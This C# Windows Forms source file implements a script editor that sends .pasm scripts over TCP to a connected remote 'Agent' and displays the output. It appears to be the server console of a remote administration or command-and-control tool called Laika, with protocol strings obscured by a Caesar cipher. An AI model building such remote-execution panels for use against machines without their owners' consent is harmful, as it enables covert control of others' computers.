using System;
using System.IO;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Threading;
using static System.Windows.Forms.VisualStyles.VisualStyleElement;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.Xml;

namespace Server
{
    public partial class PasmEditor : Form
    {
        private static string filepath = "";
        private static bool is_executing = false;
        public PasmEditor(bool is_from_right_click)
        {
            InitializeComponent();
            executeToolStripMenuItem.Enabled = is_from_right_click;
            richTextBox1.DragDrop += new DragEventHandler(richTextBox1_DragDrop);
        }

        private void newCTRLNToolStripMenuItem_Click(object sender, EventArgs e)
        {
            richTextBox1.Text = "";
            filepath = "";
            this.Text = "pasm editor - New File";
        }

        private void openToolStripMenuItem_Click(object sender, EventArgs e)
        {
            OpenFileDialog openFileDialog = new OpenFileDialog
            {
                Filter = "PASM source files (*.pasm)|*.pasm",
                Title = "Select your PASM source code file."
            };

            if (openFileDialog.ShowDialog() != DialogResult.OK)
                return;

            string filePath = openFileDialog.FileName;
            if (filePath == null) return;

            richTextBox1.LoadFile(filePath, RichTextBoxStreamType.PlainText);
            filepath = filePath;

            this.Text = "pasm editor - " + Path.GetFileName(filePath);
        }

        private void saveToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (filepath == "")
            {
                saveAsCTRLMajSToolStripMenuItem_Click(sender, e);
                return;
            }
            richTextBox1.SaveFile(filepath, RichTextBoxStreamType.PlainText);
        }

        private void saveAsCTRLMajSToolStripMenuItem_Click(object sender, EventArgs e)
        {
            SaveFileDialog saveFileDialog = new SaveFileDialog
            {
                Filter = "PASM source files (*.pasm)|*.pasm",
                Title = "Save as"
            };

            if (saveFileDialog.ShowDialog() != DialogResult.OK)
                return;

            string filePath = saveFileDialog.FileName;
            if (filePath == null) return;

            richTextBox1.SaveFile(filePath, RichTextBoxStreamType.PlainText);
            filepath = filePath;
        }

        private void closeCTRLToolStripMenuItem_Click(object sender, EventArgs e)
        {
            richTextBox1.Text = "";
            filepath = "";
            this.Text = "pasm editor - New File";
        }

        void richTextBox1_DragDrop(object sender, DragEventArgs e)
        {
            object filename = e.Data.GetData("FileDrop");
            if (filename != null)
            {
                var list = filename as string[];

                if (list != null && !string.IsNullOrWhiteSpace(list[0]))
                {
                    richTextBox1.Clear();
                    richTextBox1.LoadFile(list[0], RichTextBoxStreamType.PlainText);
                    filepath = list[0];
                    this.Text = "pasm editor - " + Path.GetFileName(filepath);
                }
            }
            e.Effect = DragDropEffects.None;
        }

        private void execute_script()
        {
            is_executing = true;
            TcpClient c = Server.Menu.CONNECT_CLIENTS[Server.Menu.CLIENT_ID];
            c.ReceiveTimeout = 10000;
            c.Client.Blocking = true;

            try
            {
                NetworkStream stream = c.GetStream();

                byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("pasm"));
                stream.Write(Message, 0, Message.Length);

                string fileContent = File.ReadAllText(filepath);
                byte[] fileContentBytes = Encoding.UTF8.GetBytes(fileContent);
                stream.Write(fileContentBytes, 0, fileContentBytes.Length);

                byte[] buffer = new byte[2048];
                int bytesRead;

                textBox1.Text += "\r\n\r\nLaika: script sent\r\n\r\n";

                while (true)
                {
                    bytesRead = stream.Read(buffer, 0, buffer.Length);
                    string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);

                    if (receivedData == "fail")
                    {
                        textBox1.Text += "Agent failed to execute the script due to an unknown error.\n";
                        textBox1.SelectionStart = textBox1.TextLength;
                        textBox1.ScrollToCaret();
                        break;
                    }

                    textBox1.Text += receivedData.Replace(Utils.CAESAR("Laika: end of script"), "").Replace("\n", "\r\n");

                    if (receivedData.Contains(Utils.CAESAR("Laika: end of script")))
                    {
                        textBox1.Text += "\r\n\r\nLaika: end of script\r\n\r\n";
                        textBox1.SelectionStart = textBox1.TextLength;
                        textBox1.ScrollToCaret();
                        break;
                    }

                    textBox1.SelectionStart = textBox1.TextLength;
                    textBox1.ScrollToCaret();
                    this.Update();
                }
            }
            catch
            {
                MessageBox.Show("Client timed out.");
            }

            is_executing = false;
            executeToolStripMenuItem.Enabled = true;
        }
        private void executeToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (is_executing)
                return;

            Thread t = new Thread(execute_script);
            t.Start();

            executeToolStripMenuItem.Enabled = false;
        }

        private void richTextBox1_TextChanged(object sender, EventArgs e)
        {
            if (!this.Text.Contains("*"))
            {
                this.Text += "*";
            }
        }
    }
}